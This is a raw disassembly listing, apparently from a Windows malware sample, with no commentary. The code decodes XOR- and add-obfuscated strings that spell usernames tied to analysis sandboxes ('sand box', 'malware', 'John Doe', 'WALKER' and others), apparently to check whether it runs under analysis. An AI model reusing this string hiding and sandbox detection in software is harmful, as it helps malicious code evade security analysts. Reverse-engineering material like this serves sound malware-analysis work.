mov byte [rbx], 0
mov byte [rbp + 0x4b3], 0x56
mov byte [rbp + 0x4b4], 0x6b
mov byte [rbp + 0x4b5], 0x7a
mov byte [rbp + 0x4b6], 0x6b
mov byte [rbp + 0x4b7], pe_nt_image_headers64
mov byte [rbp + 0x4b8], 0x26
mov byte [rbp + 0x4b9], 0x5d
mov byte [rbp + 0x4ba], 0x6f
mov byte [rbp + 0x4bb], 0x72
mov byte [rbp + 0x4bc], 0x79
mov byte [rbp + 0x4bd], 0x75
mov byte [rbp + 0x4be], 0x74
mov byte [rbp + 0x4bf], 0
add byte [rbp + 0x4b3], 0xfa
add byte [rbp + 0x4b4], 0xfa
add byte [rbp + 0x4b5], 0xfa
add byte [rbp + 0x4b6], 0xfa
add byte [rbp + 0x4b7], 0xfa
add byte [rbp + 0x4b8], 0xfa
add byte [rbp + 0x4b9], 0xfa
add byte [rbp + 0x4ba], 0xfa
add byte [rbp + 0x4bb], 0xfa
add byte [rbp + 0x4bc], 0xfa
add byte [rbp + 0x4bd], 0xfa
add byte [rbp + 0x4be], 0xfa
lea rdi, [rbp + 0x310]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x320], xmm0
movaps xmmword [rbp + 0x310], xmm0
lea rcx, [rbp + 0x4b3]
call fcn.14006afa0
test rax, rax
js 0x140025f8e
mov rsi, rax
cmp rax, 0xf
ja 0x14002439f
mov qword [rbp + 0x320], rsi
mov qword [rbp + 0x328], 0xf
jmp 0x140024413
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x1400243e4
lea rcx, [rbx + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400243fe
lea rcx, [rbx + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x310], rdi
mov qword [rbp + 0x320], rsi
mov qword [rbp + 0x328], rbx
lea rdx, [rbp + 0x4b3]
mov rcx, rdi
mov r8, rsi
call fcn.140084900
add rsi, rdi
mov byte [rsi], 0
lea rdi, [rbp + 0x330]
mov dword [rbp + 0x4a4], 0x7e
lea rsi, [rbp + 0x4a8]
mov byte [rbp + 0x4a8], 0xa
mov byte [rbp + 0x4a9], 0x17
mov byte [rbp + 0x4aa], 0x13
mov byte [rbp + 0x4ab], 0x13
mov byte [rbp + 0x4ac], 7
mov byte [rbp + 0x4ad], 0
movzx eax, byte [rbp + 0x4a8]
mov ecx, dword [rbp + 0x4a4]
xor cl, al
mov byte [rbp + 0x4a8], cl
movzx eax, byte [rbp + 0x4a9]
mov ecx, dword [rbp + 0x4a4]
xor cl, al
mov byte [rbp + 0x4a9], cl
movzx eax, byte [rbp + 0x4aa]
mov ecx, dword [rbp + 0x4a4]
xor cl, al
mov byte [rbp + 0x4aa], cl
movzx eax, byte [rbp + 0x4ab]
mov ecx, dword [rbp + 0x4a4]
xor cl, al
mov byte [rbp + 0x4ab], cl
movzx eax, byte [rbp + 0x4ac]
mov ecx, dword [rbp + 0x4a4]
xor cl, al
mov byte [rbp + 0x4ac], cl
mov byte [rbp + 0x4ad], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x340], xmm0
movaps xmmword [rbp + 0x330], xmm0
mov rcx, rsi
call fcn.14006afa0
test rax, rax
js 0x140025fa1
mov rbx, rax
cmp rax, 0xf
ja 0x14002451c
mov qword [rbp + 0x340], rbx
mov qword [rbp + 0x348], 0xf
jmp 0x140024591
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140024562
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14002457c
lea rcx, [r14 + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x330], rdi
mov qword [rbp + 0x340], rbx
mov qword [rbp + 0x348], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140084900
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x350]
mov dword [rbp + 0x4e8], 0x21
lea rsi, [rbp + 0x4ec]
mov byte [rbp + 0x4ec], 0x52
mov byte [rbp + 0x4ed], 0x40
mov byte [rbp + 0x4ee], 0x4f
mov byte [rbp + 0x4ef], 0x45
mov byte [rbp + 0x4f0], 1
mov byte [rbp + 0x4f1], 0x43
mov byte [rbp + 0x4f2], 0x4e
mov byte [rbp + 0x4f3], 0x59
mov byte [rbp + 0x4f4], 0
movzx eax, byte [rbp + 0x4ec]
mov ecx, dword [rbp + 0x4e8]
xor cl, al
mov byte [rbp + 0x4ec], cl
movzx eax, byte [rbp + 0x4ed]
mov ecx, dword [rbp + 0x4e8]
xor cl, al
mov byte [rbp + 0x4ed], cl
movzx eax, byte [rbp + 0x4ee]
mov ecx, dword [rbp + 0x4e8]
xor cl, al
mov byte [rbp + 0x4ee], cl
movzx eax, byte [rbp + 0x4ef]
mov ecx, dword [rbp + 0x4e8]
xor cl, al
mov byte [rbp + 0x4ef], cl
movzx eax, byte [rbp + 0x4f0]
mov ecx, dword [rbp + 0x4e8]
xor cl, al
mov byte [rbp + 0x4f0], cl
movzx eax, byte [rbp + 0x4f1]
mov ecx, dword [rbp + 0x4e8]
xor cl, al
mov byte [rbp + 0x4f1], cl
movzx eax, byte [rbp + 0x4f2]
mov ecx, dword [rbp + 0x4e8]
xor cl, al
mov byte [rbp + 0x4f2], cl
movzx eax, byte [rbp + 0x4f3]
mov ecx, dword [rbp + 0x4e8]
xor cl, al
mov byte [rbp + 0x4f3], cl
mov byte [rbp + 0x4f4], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x360], xmm0
movaps xmmword [rbp + 0x350], xmm0
mov rcx, rsi
call fcn.14006afa0
test rax, rax
js 0x140025fb4
mov rbx, rax
cmp rax, 0xf
ja 0x1400246ea
mov qword [rbp + 0x360], rbx
mov qword [rbp + 0x368], 0xf
jmp 0x14002475f
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140024730
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14002474a
lea rcx, [r14 + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x350], rdi
mov qword [rbp + 0x360], rbx
mov qword [rbp + 0x368], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140084900
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x370]
mov dword [rbp + 0x558], 0x64
lea rsi, [rbp + 0x55c]
mov byte [rbp + 0x55c], 9
mov byte [rbp + 0x55d], 5
mov byte [rbp + 0x55e], 8
mov byte [rbp + 0x55f], 0x13
mov byte [rbp + 0x560], 5
mov byte [rbp + 0x561], 0x16
mov byte [rbp + 0x562], 1
mov byte [rbp + 0x563], 0
movzx eax, byte [rbp + 0x55c]
mov ecx, dword [rbp + 0x558]
xor cl, al
mov byte [rbp + 0x55c], cl
movzx eax, byte [rbp + 0x55d]
mov ecx, dword [rbp + 0x558]
xor cl, al
mov byte [rbp + 0x55d], cl
movzx eax, byte [rbp + 0x55e]
mov ecx, dword [rbp + 0x558]
xor cl, al
mov byte [rbp + 0x55e], cl
movzx eax, byte [rbp + 0x55f]
mov ecx, dword [rbp + 0x558]
xor cl, al
mov byte [rbp + 0x55f], cl
movzx eax, byte [rbp + 0x560]
mov ecx, dword [rbp + 0x558]
xor cl, al
mov byte [rbp + 0x560], cl
movzx eax, byte [rbp + 0x561]
mov ecx, dword [rbp + 0x558]
xor cl, al
mov byte [rbp + 0x561], cl
movzx eax, byte [rbp + 0x562]
mov ecx, dword [rbp + 0x558]
xor cl, al
mov byte [rbp + 0x562], cl
mov byte [rbp + 0x563], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x380], xmm0
movaps xmmword [rbp + 0x370], xmm0
mov rcx, rsi
call fcn.14006afa0
test rax, rax
js 0x140025fc7
mov rbx, rax
cmp rax, 0xf
ja 0x14002489c
mov qword [rbp + 0x380], rbx
mov qword [rbp + 0x388], 0xf
jmp 0x140024911
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x1400248e2
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400248fc
lea rcx, [r14 + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x370], rdi
mov qword [rbp + 0x380], rbx
mov qword [rbp + 0x388], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140084900
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x390]
mov dword [rbp + 0x564], 0x63
lea rsi, [rbp + 0x568]
mov byte [rbp + 0x568], 0xe
mov byte [rbp + 0x569], 2
mov byte [rbp + 0x56a], 0xf
mov byte [rbp + 0x56b], 0x17
mov byte [rbp + 0x56c], 6
mov byte [rbp + 0x56d], 0x10
mov byte [rbp + 0x56e], 0x17
mov byte [rbp + 0x56f], 0
movzx eax, byte [rbp + 0x568]
mov ecx, dword [rbp + 0x564]
xor cl, al
mov byte [rbp + 0x568], cl
movzx eax, byte [rbp + 0x569]
mov ecx, dword [rbp + 0x564]
xor cl, al
mov byte [rbp + 0x569], cl
movzx eax, byte [rbp + 0x56a]
mov ecx, dword [rbp + 0x564]
xor cl, al
mov byte [rbp + 0x56a], cl
movzx eax, byte [rbp + 0x56b]
mov ecx, dword [rbp + 0x564]
xor cl, al
mov byte [rbp + 0x56b], cl
movzx eax, byte [rbp + 0x56c]
mov ecx, dword [rbp + 0x564]
xor cl, al
mov byte [rbp + 0x56c], cl
movzx eax, byte [rbp + 0x56d]
mov ecx, dword [rbp + 0x564]
xor cl, al
mov byte [rbp + 0x56d], cl
movzx eax, byte [rbp + 0x56e]
mov ecx, dword [rbp + 0x564]
xor cl, al
mov byte [rbp + 0x56e], cl
mov byte [rbp + 0x56f], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x3a0], xmm0
movaps xmmword [rbp + 0x390], xmm0
mov rcx, rsi
call fcn.14006afa0
test rax, rax
js 0x140025fda
mov rbx, rax
cmp rax, 0xf
ja 0x140024a4e
mov qword [rbp + 0x3a0], rbx
mov qword [rbp + 0x3a8], 0xf
jmp 0x140024ac3
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140024a94
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140024aae
lea rcx, [r14 + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x390], rdi
mov qword [rbp + 0x3a0], rbx
mov qword [rbp + 0x3a8], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140084900
add rbx, rdi
mov byte [rbx], 0
mov byte [rbp + 0x4cc], 0x81
mov byte [rbp + 0x4cd], 0x72
mov byte [rbp + 0x4ce], 0x80
mov byte [rbp + 0x4cf], 0x81
mov byte [rbp + 0x4d0], 0x2d
mov byte [rbp + 0x4d1], 0x82
mov byte [rbp + 0x4d2], 0x80
mov byte [rbp + 0x4d3], 0x72
mov byte [rbp + 0x4d4], 0x7f
mov byte [rbp + 0x4d5], 0
add byte [rbp + 0x4cc], 0xf3
add byte [rbp + 0x4cd], 0xf3
add byte [rbp + 0x4ce], 0xf3
add byte [rbp + 0x4cf], 0xf3
add byte [rbp + 0x4d0], 0xf3
add byte [rbp + 0x4d1], 0xf3
add byte [rbp + 0x4d2], 0xf3
add byte [rbp + 0x4d3], 0xf3
add byte [rbp + 0x4d4], 0xf3
lea rdi, [rbp + 0x3b0]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x3c0], xmm0
movaps xmmword [rbp + 0x3b0], xmm0
lea rcx, [rbp + 0x4cc]
call fcn.14006afa0
test rax, rax
js 0x140025fed
mov rsi, rax
cmp rax, 0xf
ja 0x140024ba6
mov qword [rbp + 0x3c0], rsi
mov qword [rbp + 0x3c8], 0xf
jmp 0x140024c1a
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x140024beb
lea rcx, [rbx + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140024c05
lea rcx, [rbx + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x3b0], rdi
mov qword [rbp + 0x3c0], rsi
mov qword [rbp + 0x3c8], rbx
lea rdx, [rbp + 0x4cc]
mov rcx, rdi
mov r8, rsi
call fcn.140084900
add rsi, rdi
mov byte [rsi], 0
lea rdi, [rbp + 0x3d0]
mov dword [rbp + 0x51c], 0x34
lea rsi, [rbp + 0x520]
mov eax, dword [rbp + 0x51c]
xor al, 0x76
mov byte [rbp + 0x520], al
mov eax, dword [rbp + 0x51c]
inc al
xor al, 0x69
mov byte [rbp + 0x521], al
mov eax, dword [rbp + 0x51c]
add al, 2
xor al, 0x72
mov byte [rbp + 0x522], al
mov eax, dword [rbp + 0x51c]
add al, 3
xor al, 0x75
mov byte [rbp + 0x523], al
mov eax, dword [rbp + 0x51c]
add al, 4
xor al, 0x73
mov byte [rbp + 0x524], al
mov byte [rbp + 0x525], 0
movzx eax, byte [rbp + 0x520]
mov ecx, dword [rbp + 0x51c]
xor cl, al
mov byte [rbp + 0x520], cl
movzx eax, byte [rbp + 0x521]
mov ecx, dword [rbp + 0x51c]
inc cl
xor cl, al
mov byte [rbp + 0x521], cl
movzx eax, byte [rbp + 0x522]
mov ecx, dword [rbp + 0x51c]
add cl, 2
xor cl, al
mov byte [rbp + 0x522], cl
movzx eax, byte [rbp + 0x523]
mov ecx, dword [rbp + 0x51c]
add cl, 3
xor cl, al
mov byte [rbp + 0x523], cl
movzx eax, byte [rbp + 0x524]
mov ecx, dword [rbp + 0x51c]
add cl, 4
xor cl, al
mov byte [rbp + 0x524], cl
mov byte [rbp + 0x525], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x3e0], xmm0
movaps xmmword [rbp + 0x3d0], xmm0
mov rcx, rsi
call fcn.14006afa0
test rax, rax
js 0x140026000
mov rbx, rax
cmp rax, 0xf
ja 0x140024d59
mov qword [rbp + 0x3e0], rbx
mov qword [rbp + 0x3e8], 0xf
jmp 0x140024dce
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140024d9f
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140024db9
lea rcx, [r14 + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x3d0], rdi
mov qword [rbp + 0x3e0], rbx
mov qword [rbp + 0x3e8], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140084900
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x3f0]
mov dword [rbp + 0x4f8], 0x4e
lea rsi, [rbp + 0x4fc]
mov byte [rbp + 0x4fc], 4
mov byte [rbp + 0x4fd], 0x21
mov byte [rbp + 0x4fe], 0x26
mov byte [rbp + 0x4ff], 0x20
mov byte [rbp + 0x500], 0x6e
mov byte [rbp + 0x501], 0xa
mov byte [rbp + 0x502], 0x21
mov byte [rbp + 0x503], 0x2b
mov byte [rbp + 0x504], 0
movzx eax, byte [rbp + 0x4fc]
mov ecx, dword [rbp + 0x4f8]
xor cl, al
mov byte [rbp + 0x4fc], cl
movzx eax, byte [rbp + 0x4fd]
mov ecx, dword [rbp + 0x4f8]
xor cl, al
mov byte [rbp + 0x4fd], cl
movzx eax, byte [rbp + 0x4fe]
mov ecx, dword [rbp + 0x4f8]
xor cl, al
mov byte [rbp + 0x4fe], cl
movzx eax, byte [rbp + 0x4ff]
mov ecx, dword [rbp + 0x4f8]
xor cl, al
mov byte [rbp + 0x4ff], cl
movzx eax, byte [rbp + 0x500]
mov ecx, dword [rbp + 0x4f8]
xor cl, al
mov byte [rbp + 0x500], cl
movzx eax, byte [rbp + 0x501]
mov ecx, dword [rbp + 0x4f8]
xor cl, al
mov byte [rbp + 0x501], cl
movzx eax, byte [rbp + 0x502]
mov ecx, dword [rbp + 0x4f8]
xor cl, al
mov byte [rbp + 0x502], cl
movzx eax, byte [rbp + 0x503]
mov ecx, dword [rbp + 0x4f8]
xor cl, al
mov byte [rbp + 0x503], cl
mov byte [rbp + 0x504], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x400], xmm0
movaps xmmword [rbp + 0x3f0], xmm0
mov rcx, rsi
call fcn.14006afa0
test rax, rax
js 0x140026013
mov rbx, rax
cmp rax, 0xf
ja 0x140024f27
mov qword [rbp + 0x400], rbx
mov qword [rbp + 0x408], 0xf
jmp 0x140024f9c
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140024f6d
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140024f87
lea rcx, [r14 + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x3f0], rdi
mov qword [rbp + 0x400], rbx
mov qword [rbp + 0x408], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140084900
add rbx, rdi
mov byte [rbx], 0
lea rdi, [rbp + 0x410]
mov dword [rbp + 0x528], 0x46
lea rsi, [rbp + 0x52c]
mov eax, dword [rbp + 0x528]
xor al, 0x39
mov byte [rbp + 0x52c], al
mov eax, dword [rbp + 0x528]
inc al
xor al, 0x5a
mov byte [rbp + 0x52d], al
mov eax, dword [rbp + 0x528]
add al, 2
xor al, 0x61
mov byte [rbp + 0x52e], al
mov eax, dword [rbp + 0x528]
add al, 3
xor al, 0x58
mov byte [rbp + 0x52f], al
mov eax, dword [rbp + 0x528]
add al, 4
xor al, 0x6a
mov byte [rbp + 0x530], al
mov byte [rbp + 0x531], 0
movzx eax, byte [rbp + 0x52c]
mov ecx, dword [rbp + 0x528]
xor cl, al
mov byte [rbp + 0x52c], cl
movzx eax, byte [rbp + 0x52d]
mov ecx, dword [rbp + 0x528]
inc cl
xor cl, al
mov byte [rbp + 0x52d], cl
movzx eax, byte [rbp + 0x52e]
mov ecx, dword [rbp + 0x528]
add cl, 2
xor cl, al
mov byte [rbp + 0x52e], cl
movzx eax, byte [rbp + 0x52f]
mov ecx, dword [rbp + 0x528]
add cl, 3
xor cl, al
mov byte [rbp + 0x52f], cl
movzx eax, byte [rbp + 0x530]
mov ecx, dword [rbp + 0x528]
add cl, 4
xor cl, al
mov byte [rbp + 0x530], cl
mov byte [rbp + 0x531], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x420], xmm0
movaps xmmword [rbp + 0x410], xmm0
mov rcx, rsi
call fcn.14006afa0
test rax, rax
js 0x140026026
mov rbx, rax
cmp rax, 0xf
ja 0x1400250d7
mov qword [rbp + 0x420], rbx
mov qword [rbp + 0x428], 0xf
jmp 0x14002514c
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x14002511d
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140025137
lea rcx, [r14 + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x410], rdi
mov qword [rbp + 0x420], rbx
mov qword [rbp + 0x428], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140084900
add rbx, rdi
mov byte [rbx], 0
mov byte [rbp + 0x509], 0x5d
mov byte [rbp + 0x50a], 0x47
mov byte [rbp + 0x50b], 0x52
mov byte [rbp + 0x50c], 0x51
mov byte [rbp + 0x50d], 0x4b
mov byte [rbp + 0x50e], 0x58
mov byte [rbp + 0x50f], 0
add byte [rbp + 0x509], 0xfa
add byte [rbp + 0x50a], 0xfa
add byte [rbp + 0x50b], 0xfa
add byte [rbp + 0x50c], 0xfa
add byte [rbp + 0x50d], 0xfa
add byte [rbp + 0x50e], 0xfa
lea rdi, [rbp + 0x430]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x440], xmm0
movaps xmmword [rbp + 0x430], xmm0
lea rcx, [rbp + 0x509]
call fcn.14006afa0
test rax, rax
js 0x140026039
mov rsi, rax
cmp rax, 0xf
ja 0x140025205
mov qword [rbp + 0x440], rsi
mov qword [rbp + 0x448], 0xf
jmp 0x140025279
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x14002524a
lea rcx, [rbx + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140025264
lea rcx, [rbx + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x430], rdi
mov qword [rbp + 0x440], rsi
mov qword [rbp + 0x448], rbx
lea rdx, [rbp + 0x509]
mov rcx, rdi
mov r8, rsi
call fcn.140084900
add rsi, rdi
mov byte [rsi], 0
lea rdi, [rbp + 0x450]
mov dword [rbp + 0x570], 0x1d
lea rsi, [rbp + 0x574]
mov eax, dword [rbp + 0x570]
xor al, 0x76
mov byte [rbp + 0x574], al
mov eax, dword [rbp + 0x570]
inc al
xor al, 0x62
mov byte [rbp + 0x575], al
mov eax, dword [rbp + 0x570]
add al, 2
xor al, 0x63
mov byte [rbp + 0x576], al
mov eax, dword [rbp + 0x570]
add al, 3
xor al, 0x63
mov byte [rbp + 0x577], al
mov eax, dword [rbp + 0x570]
add al, 4
xor al, 0x73
mov byte [rbp + 0x578], al
mov eax, dword [rbp + 0x570]
add al, 5
xor al, 0x62
mov byte [rbp + 0x579], al
mov eax, dword [rbp + 0x570]
add al, 6
xor al, 0x5f
mov byte [rbp + 0x57a], al
mov eax, dword [rbp + 0x570]
add al, 7
xor al, 0x2a
mov byte [rbp + 0x57b], al
mov byte [rbp + 0x57c], 0
movzx eax, byte [rbp + 0x574]
mov ecx, dword [rbp + 0x570]
xor cl, al
mov byte [rbp + 0x574], cl
movzx eax, byte [rbp + 0x575]
mov ecx, dword [rbp + 0x570]
inc cl
xor cl, al
mov byte [rbp + 0x575], cl
movzx eax, byte [rbp + 0x576]
mov ecx, dword [rbp + 0x570]
add cl, 2
xor cl, al
mov byte [rbp + 0x576], cl
movzx eax, byte [rbp + 0x577]
mov ecx, dword [rbp + 0x570]
add cl, 3
xor cl, al
mov byte [rbp + 0x577], cl
movzx eax, byte [rbp + 0x578]
mov ecx, dword [rbp + 0x570]
add cl, 4
xor cl, al
mov byte [rbp + 0x578], cl
movzx eax, byte [rbp + 0x579]
mov ecx, dword [rbp + 0x570]
add cl, 5
xor cl, al
mov byte [rbp + 0x579], cl
movzx eax, byte [rbp + 0x57a]
mov ecx, dword [rbp + 0x570]
add cl, 6
xor cl, al
mov byte [rbp + 0x57a], cl
movzx eax, byte [rbp + 0x57b]
mov ecx, dword [rbp + 0x570]
add cl, 7
xor cl, al
mov byte [rbp + 0x57b], cl
mov byte [rbp + 0x57c], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x460], xmm0
movaps xmmword [rbp + 0x450], xmm0
mov rcx, rsi
call fcn.14006afa0
test rax, rax
js 0x14002604c
mov rbx, rax
cmp rax, 0xf
ja 0x140025430
mov qword [rbp + 0x460], rbx
mov qword [rbp + 0x468], 0xf
jmp 0x1400254a5
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140025476
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140025490
lea rcx, [r14 + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x450], rdi
mov qword [rbp + 0x460], rbx
mov qword [rbp + 0x468], r14
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140084900
add rbx, rdi
mov byte [rbx], 0
lea rbx, [rbp + 0x470]
mov dword [rbp + 0x510], 0x32
lea rsi, [rbp + 0x514]
mov byte [rbp + 0x514], 0x44
mov byte [rbp + 0x515], 0x50
mov byte [rbp + 0x516], 0x51
mov byte [rbp + 0x517], 0x51
mov byte [rbp + 0x518], 0x41
mov byte [rbp + 0x519], 0x50
mov byte [rbp + 0x51a], 0
movzx eax, byte [rbp + 0x514]
mov ecx, dword [rbp + 0x510]
xor cl, al
mov byte [rbp + 0x514], cl
movzx eax, byte [rbp + 0x515]
mov ecx, dword [rbp + 0x510]
xor cl, al
mov byte [rbp + 0x515], cl
movzx eax, byte [rbp + 0x516]
mov ecx, dword [rbp + 0x510]
xor cl, al
mov byte [rbp + 0x516], cl
movzx eax, byte [rbp + 0x517]
mov ecx, dword [rbp + 0x510]
xor cl, al
mov byte [rbp + 0x517], cl
movzx eax, byte [rbp + 0x518]
mov ecx, dword [rbp + 0x510]
xor cl, al
mov byte [rbp + 0x518], cl
movzx eax, byte [rbp + 0x519]
mov ecx, dword [rbp + 0x510]
xor cl, al
mov byte [rbp + 0x519], cl
mov byte [rbp + 0x51a], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x480], xmm0
movaps xmmword [rbp + 0x470], xmm0
mov rcx, rsi
call fcn.14006afa0
test rax, rax
js 0x14002605f
mov rdi, rax
cmp rax, 0xf
ja 0x1400255c6
mov qword [rbp + 0x480], rdi
mov qword [rbp + 0x488], 0xf
jmp 0x14002563b
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x14002560c
lea rcx, [r14 + 0x28]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rbx
call fcn.14004fb68
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140025626
lea rcx, [r14 + 1]
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rbx
call fcn.14004fb68
mov rbx, rax
mov qword [rbp + 0x470], rbx
mov qword [rbp + 0x480], rdi
mov qword [rbp + 0x488], r14
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.140084900
add rdi, rbx
mov byte [rdi], 0
lea rax, [rbp + 0x490]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], 0
mov qword [rbp + 0x1c0], rax
lea rdi, [rbp + 0x1f0]
mov qword [rbp + 0x1c8], rdi
lea rcx, [rbp + 0x1d0]
lea r8, [rbp + 0x1c8]
lea r9, [rbp + 0x1c0]
mov edx, 0x15
call fcn.140018750
mov esi, 0x280
jmp 0x1400256df
call fcn.14004fbac
mov qword [rbp + rsi + 0x200], 0
mov qword [rbp + rsi + 0x208], 0xf
mov byte [rbp + rsi + 0x1f0], 0
add rsi, 0xffffffffffffffe0
cmp rsi, 0xffffffffffffffe0
je 0x140025723
mov rax, qword [rbp + rsi + 0x208]
cmp rax, 0x10
jb 0x1400256b5
mov rcx, qword [rbp + rsi + 0x1f0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400256b0
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140025e76
add rax, 0x28
mov rdx, rax
mov rcx, r8
jmp 0x1400256b0
